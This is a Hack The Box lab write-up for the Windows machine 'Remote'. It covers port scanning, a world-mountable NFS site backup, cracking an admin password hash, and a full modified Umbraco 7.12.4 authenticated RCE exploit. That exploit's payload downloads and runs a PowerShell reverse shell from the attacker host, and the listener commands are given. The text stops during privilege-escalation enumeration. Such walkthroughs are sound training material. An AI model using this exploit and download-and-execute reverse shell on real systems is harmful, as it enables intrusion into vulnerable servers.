HacktheBox 'Remote' writeup
‘Remote’ HTB Writeup
Host Information
| Hostname | IP Address | Operating System | Difficulty Level |
| Remote | 10.10.10.180 | Windows | Easy |
Initial Recon
nmap information
An initial full TCP nmap scan of the host was run with the followiong command:
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/0ps/HTB/remote/scans/_full_tcp_nmap.txt" -oX "/0ps/HTB/remote/scans/xml/_full_tcp_nmap.xml" 10.10.10.180
The following ports were revealed open on the target, followed by the full nmap script ouput below:
10.10.10.180
| Port | State | Service | Version |
|---|---|---|---|
| 21/tcp | open | ftp | Microsoft ftpd |
| 80/tcp | open | http | Microsoft HTTPAPI httpd 2.0 |
| 111/tcp | open | rpcbind | 2-4 |
| 135/tcp | open | msrpc | Microsoft Windows RPC |
| 139/tcp | open | netbios-ssn | Microsoft Windows netbios-ssn |
| 445/tcp | open | microsoft-ds | |
| 2049/tcp | open | mountd | 1-3 |
| 5985/tcp | open | http | Microsoft HTTPAPI httpd 2.0 |
| 47001/tcp | open | http | Microsoft HTTPAPI httpd 2.0 |
| 49664/tcp | open | msrpc | Microsoft Windows RPC |
| 49665/tcp | open | msrpc | Microsoft Windows RPC |
| 49666/tcp | open | msrpc | Microsoft Windows RPC |
| 49667/tcp | open | msrpc | Microsoft Windows RPC |
| 49678/tcp | open | msrpc | Microsoft Windows RPC |
| 49679/tcp | open | msrpc | Microsoft Windows RPC |
| 49680/tcp | open | msrpc | Microsoft Windows RPC |
# Nmap 7.80 scan initiated Mon Jun 8 16:53:05 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/remote/scans/_full_tcp_nmap.txt -oX /0ps/HTB/remote/scans/xml/_full_tcp_nmap.xml 10.10.10.180
Nmap scan report for 10.10.10.180
Host is up, received user-set (0.040s latency).
Scanned at 2020-06-08 16:53:05 CDT for 231s
Not shown: 65519 closed ports
Reason: 65519 resets
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp open rpcbind syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
2049/tcp open mountd syn-ack ttl 127 1-3 (RPC #100005)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49678/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49679/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49680/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Aggressive OS guesses: Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (91%), Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2016 (91%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (90%), Microsoft Windows 10 1703 (90%), Microsoft Windows Server 2008 SP2 (89%), Microsoft Windows 8 (89%), Microsoft Windows Server 2012 R2 (88%), Microsoft Windows Server 2012 R2 Update 1 (88%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/8%OT=21%CT=1%CU=34990%PV=Y%DS=2%DC=T%G=Y%TM=5EDEB428
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10E%TI=RD%CI=RD%TS=U)SEQ(SP=1
OS:00%GCD=1%ISR=10E%CI=RD%TS=U)OPS(O1=M54DNW8NNS%O2=M54DNW8NNS%O3=M54DNW8%O
OS:4=M54DNW8NNS%O5=M54DNW8NNS%O6=M54DNNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFF
OS:F%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M54DNW8NNS%CC=Y%Q=)T1(R=Y%D
OS:F=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0
OS:%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=
OS:A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=
OS:Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=A
OS:R%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%R
OS:UD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: Randomized
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1m11s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 45222/tcp): CLEAN (Couldn't connect)
| Check 2 (port 54895/tcp): CLEAN (Couldn't connect)
| Check 3 (port 58384/udp): CLEAN (Failed to receive data)
| Check 4 (port 15893/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-06-08T21:57:53
|_ start_date: N/A
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 33.31 ms 10.10.14.1
2 37.09 ms 10.10.10.180
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 8 16:56:56 2020 -- 1 IP address (1 host up) scanned in 230.79 seconds
nmap scan observations
-
Target is Windows, but unknown currently what specific flavour
-
FTP appears to allow anonymous login, HTTP is running on the standard port 80. A number of RPC ports are open
-
Additionally, mountd and SMB appear to be open. and HTTP HTTPAPI services on a few other high ports in addition to being on port 80.
-
FTP shows no files within the landing directory, and anonymous user appears to be disallowed from uploading/putting files.
ftp> put test.txt
local: test.txt remote: test.txt
200 PORT command successful.
550 Access is denied.
ftp>
A nc banner grab of the service only shows the following: 220 Microsoft FTP Service
HTTP enumeration
A gobuster scan of the web service on port 80 shows the following:
/Default.aspx (Status: 200) [Size: 6693]
/Home (Status: 200) [Size: 6703]
/Home.aspx (Status: 200) [Size: 6703]
/Products (Status: 200) [Size: 5320]
/Products.aspx (Status: 200) [Size: 5320]
/about-us (Status: 200) [Size: 5441]
/about-us.aspx (Status: 200) [Size: 5441]
/blog (Status: 200) [Size: 5001]
/blog.aspx (Status: 200) [Size: 5001]
/contact (Status: 200) [Size: 7880]
/contact.aspx (Status: 200) [Size: 7880]
/default.aspx (Status: 200) [Size: 6693]
/home (Status: 200) [Size: 6703]
/home.aspx (Status: 200) [Size: 6703]
/install (Status: 302) [Size: 126]
/intranet (Status: 200) [Size: 3323]
/intranet.aspx (Status: 200) [Size: 3323]
/people (Status: 200) [Size: 6739]
/people.aspx (Status: 200) [Size: 6739]
/person (Status: 200) [Size: 2741]
/person.aspx (Status: 200) [Size: 2741]
/products (Status: 200) [Size: 5320]
/products.aspx (Status: 200) [Size: 5320]
/umbraco (Status: 200) [Size: 4040]
The footer of the main page shows ‘Umbraco,’ suggesting Umbraco CMS is installed.
Going to /umbraco redirects to the following URL directing to a login page: http://10.10.10.180/umbraco#/login/false?returnPath=%252Fumbraco
other enumeration
Running nmap NSE scripts for SMB vulnerabilities came back with no vulnerable findings using the below command:
sudo nmap -vv --reason -Pn -sC -sV -p 139,445 --script="smb-vuln*" --script-args="unsafe=1" 10.10.10.180
Furthermore, an enum4linux scan finds null sessions are not allowed for the server:
=====================================
| Session Check on 10.10.10.180 |
=====================================
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
Additionally smbmap and smbclient commands failed to authenticate.
However, NFS running on TCP port 111 yielded some interesting results:
# Nmap 7.80 scan initiated Mon Jun 8 16:55:54 2020 as: nmap -vv --reason -Pn -sV -p 111 "--script=banner,(rpcinfo or nfs*) and not (brute or broadcast or dos or external or fuzzer)" -oN /0ps/HTB/remote/scans/tcp_111_nfs_nmap.txt -oX /0ps/HTB/remote/scans/xml/tcp_111_nfs_nmap.xml 10.10.10.180
Nmap scan report for 10.10.10.180
Host is up, received user-set (0.037s latency).
Scanned at 2020-06-08 16:55:54 CDT for 189s
PORT STATE SERVICE REASON VERSION
111/tcp open rpcbind syn-ack ttl 127 2-4 (RPC #100000)
| nfs-ls: Volume /site_backups
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwx------ 4294967294 4294967294 4096 2020-02-23T18:35:48 .
| ?????????? ? ? ? ? ..
| rwx------ 4294967294 4294967294 64 2020-02-20T17:16:39 App_Browsers
| rwx------ 4294967294 4294967294 4096 2020-02-20T17:17:19 App_Data
| rwx------ 4294967294 4294967294 4096 2020-02-20T17:16:40 App_Plugins
| rwx------ 4294967294 4294967294 8192 2020-02-20T17:16:42 Config
| rwx------ 4294967294 4294967294 64 2020-02-20T17:16:40 aspnet_client
| rwx------ 4294967294 4294967294 49152 2020-02-20T17:16:42 bin
| rwx------ 4294967294 4294967294 64 2020-02-20T17:16:42 css
| rwx------ 4294967294 4294967294 152 2018-11-01T17:06:44 default.aspx
|_
| nfs-showmount:
|_ /site_backups
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /site_backups 31119356.0 12201084.0 18918272.0 40% 16.0T 1023
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 8 16:59:03 2020 -- 1 IP address (1 host up) scanned in 189.71 seconds
Additionally, running the showmount command shows that the /site_backups directory is mountable by any user.
initinfosec@kali:/0ps/HTB/remote/scans$ showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)
Let’s make a directory in our ‘loot’ subdirectory with mkdir mount to mount the target NFS share. Once done we see a number of directories and files openly available.
initinfosec@kali:/0ps/HTB/remote/loot$ sudo mount -t nfs 10.10.10.180:/site_backups /0ps/HTB/remote/loot/mount
initinfosec@kali:/0ps/HTB/remote/loot$ ls -ltr mount/
total 115
-rwx------ 1 nobody 4294967294 89 Nov 1 2018 Global.asax
-rwx------ 1 nobody 4294967294 152 Nov 1 2018 default.aspx
-rwx------ 1 nobody 4294967294 28539 Feb 19 23:57 Web.config
drwx------ 2 nobody 4294967294 64 Feb 20 11:16 App_Browsers
drwx------ 2 nobody 4294967294 4096 Feb 20 11:16 App_Plugins
drwx------ 2 nobody 4294967294 64 Feb 20 11:16 aspnet_client
drwx------ 2 nobody 4294967294 49152 Feb 20 11:16 bin
drwx------ 2 nobody 4294967294 64 Feb 20 11:16 css
drwx------ 2 nobody 4294967294 8192 Feb 20 11:16 Config
drwx------ 2 nobody 4294967294 4096 Feb 20 11:16 Media
drwx------ 2 nobody 4294967294 64 Feb 20 11:16 scripts
drwx------ 2 nobody 4294967294 8192 Feb 20 11:16 Umbraco
drwx------ 2 nobody 4294967294 4096 Feb 20 11:16 Umbraco_Client
drwx------ 2 nobody 4294967294 4096 Feb 20 11:16 Views
drwx------ 2 nobody 4294967294 4096 Feb 20 11:17 App_Data
A quick web search on determining the Umbraco version reveals a value that can be found in webconfig. Searching for this value keyword shows the following as the likely version of Umbraco:
<appSettings>
40 <!--
41 Umbraco web.config configuration documentation can be found here:
42 https://our.umbraco.com/documentation/using-umbraco/config-files/#webconfig
43 -->
44 <add key="umbracoConfigurationStatus" value="7.12.4" />
45
Now that the version of the CMS is known, we find several more tailored likely exploits for RCE vulnerabilities of the platform:
initinfosec@kali:/0ps/HTB/remote/exploit$ searchsploit umbraco 7
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Umbraco CMS - Remote Command Execution (Metasploit) | windows/webapps/19671.rb
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution | aspx/webapps/46153.py
Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scripting | php/webapps/44988.txt
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Exploit 46153 looks promising as it’s an exact version map and has a python script to go along with it. However, we still need credentials for the exploit to work.
Going back to the Web.config file, we also notice the following which seems to define where users and application data is stored in an internal Microsoft SQL Database:
66 <connectionStrings>
67 <remove name="umbracoDbDSN" />
68 <add name="umbracoDbDSN" connectionString="Data Source=|DataDirectory|\Umbraco.sdf;Flush Interval=1;" providerName="System.Data.SqlServerCe.4.0" />
69 <!-- Important: If you're upgrading Umbraco, do not clear the connection string / provider name during your web.config merge. -->
70 </connectionStrings>
Running a search from the mount directory with the following find command shows the location of the sdf database file within the site_backups folder.
initinfosec@kali:/0ps/HTB/remote/loot/mount$ find . -name *Umbraco.sdf
./App_Data/Umbraco.sdf
There doesn’t seem to be a readily available tool within kali out there for opening and analyzing SDF files (i’m sure there’s one out there on GitHub or similar,) but attempting to open the file in VSCode shows that the file may be binary. Running the file command against it, we see that Umbraco.sdf file resturns the “data” type.
The strings utility can be run against the SDF file yielded largely plaintext/ASCII results. This seems to show all sorts of web content from the site including item listings, information from the about page, etc, so it stands to reason that the SDF file might contain all of the site’s contents. Running strings and grepping for “login” yields some results, confirming that “admin” is a valid username, as well as “ssmith” as shown below
initinfosec@kali:/0ps/HTB/remote/loot/mount$ strings ./App_Data/Umbraco.sdf | grep login
loginNodeId
User "SYSTEM" 192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "ssmith" <smith@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "ssmith" <ssmith@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.137User "ssmith" <ssmith@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "admin" <admin@htb.local>192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "admin" <admin@htb.local>192.168.195.1umbraco/user/sign-in/failedlogin failed
User "admin" <admin@htb.local>192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
loginProvider
User "SYSTEM" 192.168.195.137User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.137User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.137User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.137User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.137User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.137User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.137User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.137User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.137User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
User "SYSTEM" 192.168.195.1User "admin" <admin@htb.local>umbraco/user/sign-in/loginlogin success
We can then pipe/redirect the output of the strings command against the SDF file to it’s own file for easier analysis:
initinfosec@kali:/0ps/HTB/remote/loot/mount$ strings ./App_Data/Umbraco.sdf > ../SDF_plaintext.dat
Using vim in the plaintext.dat file, and searching for ‘password’ then ‘hash’ we find the following password hashes for the two users mentioned above:
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
4 adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
5 adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
6 smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a 9b9749-a054-27463ae58b8e
7 ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257 a9b9749
8 ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee 9724c8d32
So we know we have the following, at least from a backup:
username: admin@htb.local
SHA1 pw hash: b8be16afba8c314ad33d812f22a04991b90e2aaa
privilege level: Adminitrator
username: smith@htb.local
HMACSHA256 pw hash: jxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts=
privilege level: unkown (standard user?)
username: ssmith@htb.local
HMACSHA256 pw hash: 8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA=
privilege level: unkown (standard user?)
HMACSHA256 hashes incorporate a SHA256 hash used with an HMAC (Hash Message Authentication Code). The HMAC process mixes the message/contents with secret key and hashes the result. That resulting hash is then is then mixed with the secret key again and re-hashed for a second operation. The final result is a hash still 256 bits in length, but with extra security provided by the secret key that is mixed with the message/hashed content (presumably unknown to outside parties) and the double application of the hashing function. (You can find a great explanation of the hash function by Microsoft here)
All that to say, the admin credential being SHA1 is almost garunteed to be easier to crack, so we’ll start with the low-hanging fruit, going for that one. We use the hashes.org site to check if there’s already a known matching hash cracked into plaintext, before spending time running it locally against john or hashcat. Sure enough, we get a result, shown below:
Found:
SHA1 b8be16afba8c314ad33d812f22a04991b90e2aaa:baconandcheese
gaining an initial foothold
We can now download the exploit we were looking at earlier with the following command:
$ searchsploit -m 46153
Exploit: Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution
URL: https://www.exploit-db.com/exploits/46153
Path: /usr/share/exploitdb/exploits/aspx/webapps/46153.py
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: /0ps/HTB/remote/exploit/46153.py
Now that we know the credentials for the admin user lets test them to login. After sending admin@htb.local / baconadncheese, we find we are successfully logged in, as shown in the below screenshot:
Now we can proceed to change the exploit details to include the login information and target within the python POC. The updated code section is shown below:
34 login = "admin@htb.local";
35 password="baconandcheese";
36 host = "http://10.10.10.180";
However, we notice above the authentication section the payload is detailed, and seems to just pop calc.exe, which we want to change to a reverse shell. There is another exploit using msf which likely would automatically take care of this as well, thought MSF seems to not use the same format as this PoC. The current exploit defines the payload within an xml file, inside of which the exploit process is defined, as shown below:
22 # Execute a calc for the PoC
23 payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
24 xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
25 xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
26 <msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
27 { string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
28 proc.StartInfo.FileName = "calc.exe"; proc.StartInfo.Arguments = cmd;\
29 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
30 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
31 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
32 </xsl:template> </xsl:stylesheet> ';
The XML format within the PoC should be viable, but for this scenario, let’s have powershell be run against the target, and grab a powershell script from nishang called reverse-tcp.ps1, which we’ll have hosted and served locally.
First download the reverse TCP ps1 script locally, and ensure that it is modified to actually invoke the function defined in the script, with the last line being similar to what is shown below. The IP will have to be the VPN interface (tun0) and the port can be of your choosing, so long as TCP connections through that port are allowed.
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 443
Now we can modify the exploit. One thing to note when modifying the exploit is that we’ll need to be careful of character/punctuation escapes, specifically with quotes. After a small amount of fiddling, we find we can encapsulate the payload var in python with three single quotes to allow us to still use a single quote within the payload command itself. The full modified file is shown below. Note that the IP in the wget would have to changed based on your tun0 address.
# Exploit Title: Umbraco CMS - Remote Code Execution by authenticated administrators
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Gregory DRAPERI & Hugo BOUTINON
# Vendor Homepage: http://www.umbraco.com/
# Software Link: https://our.umbraco.com/download/releases
# Version: 7.12.4
# Category: Webapps
# Tested on: Windows IIS
# CVE: N/A
import requests;
from bs4 import BeautifulSoup;
def print_dict(dico):
print(dico.items());
print("Start");
# Grab nishang reverse-tcp.ps1 from attacker host for rev shell - changed from popping calc.exe in PoC
payload = '''<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.7/reverse-tcp.ps1')"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
</xsl:template> </xsl:stylesheet> ''';
login = "admin@htb.local";
password="baconandcheese";
host = "http://10.10.10.180";
# Step 1 - Get Main page
s = requests.session()
url_main =host+"/umbraco/";
r1 = s.get(url_main);
print_dict(r1.cookies);
# Step 2 - Process Login
url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin";
loginfo = {"username":login,"password":password};
r2 = s.post(url_login,json=loginfo);
# Step 3 - Go to vulnerable web page
url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx";
r3 = s.get(url_xslt);
soup = BeautifulSoup(r3.text, 'html.parser');
VIEWSTATE = soup.find(id="__VIEWSTATE")['value'];
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'];
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'];
headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN};
data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"};
# Step 4 - Launch the attack
r4 = s.post(url_xslt,data=data,headers=headers);
print("End");
Once the file is staged in the exploits directory, we can serve it with simpleHTTPServer as shown below:
sudo python3 -m http.server 80
Once done, we can start a listener on whatever port is defined in the ps1 file, in this case 443:
sudo nc -lvnp 443
And finally we can fire off the exploit. We see the following launching the exploit:
initinfosec@kali:/0ps/HTB/remote/exploit$ python3 46153.py
Start
[]
And in our Simple HTTP Server terminal, we see a successful 200 response to the HTTP GET request, meaning the file was successfully retreived by the target.
Finally, checking our listener, we see we received a remote shell from the target, as shown in the below screenshot:
From here we can proceed to grab the user.txt flag from the Public users directory.
Privilege Escalation
PrivEsc enumeration
First we run a systeminfo command to gain more information about the host. We see the following returned:
PS C:\users\Public> systeminfo
Host Name: REMOTE
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-00521-62775-AA801
Original Install Date: 2/19/2020, 4:03:29 PM
System Boot Time: 6/9/2020, 6:18:06 PM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 4 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
[02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
[03]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
[04]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version: VMware, Inc. VMW71.00V.13989454.B64.1906190538, 6/19/2019
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 2,790 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 3,608 MB
Virtual Memory: In Use: 1,191 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 5 Hotfix(s) Installed.
[01]: KB4534119
[02]: KB4462930
[03]: KB4516115
[04]: KB4523204
[05]: KB4464455
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.180
[02]: fe80::552f:e508:776f:e4c7
[03]: dead:beef::552f:e508:776f:e4c7
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
Running a whoami /all check, we see the privileges our user has. This is one of a few good first steps to take when enumerating for privilege escalation on a Windows system, and is somewhat equivalent to a sudo -l on Linux. The following information is shown:
PS C:\users\Public> whoami /all
USER INFORMATION
----------------
User Name SID
========================== =============================================================
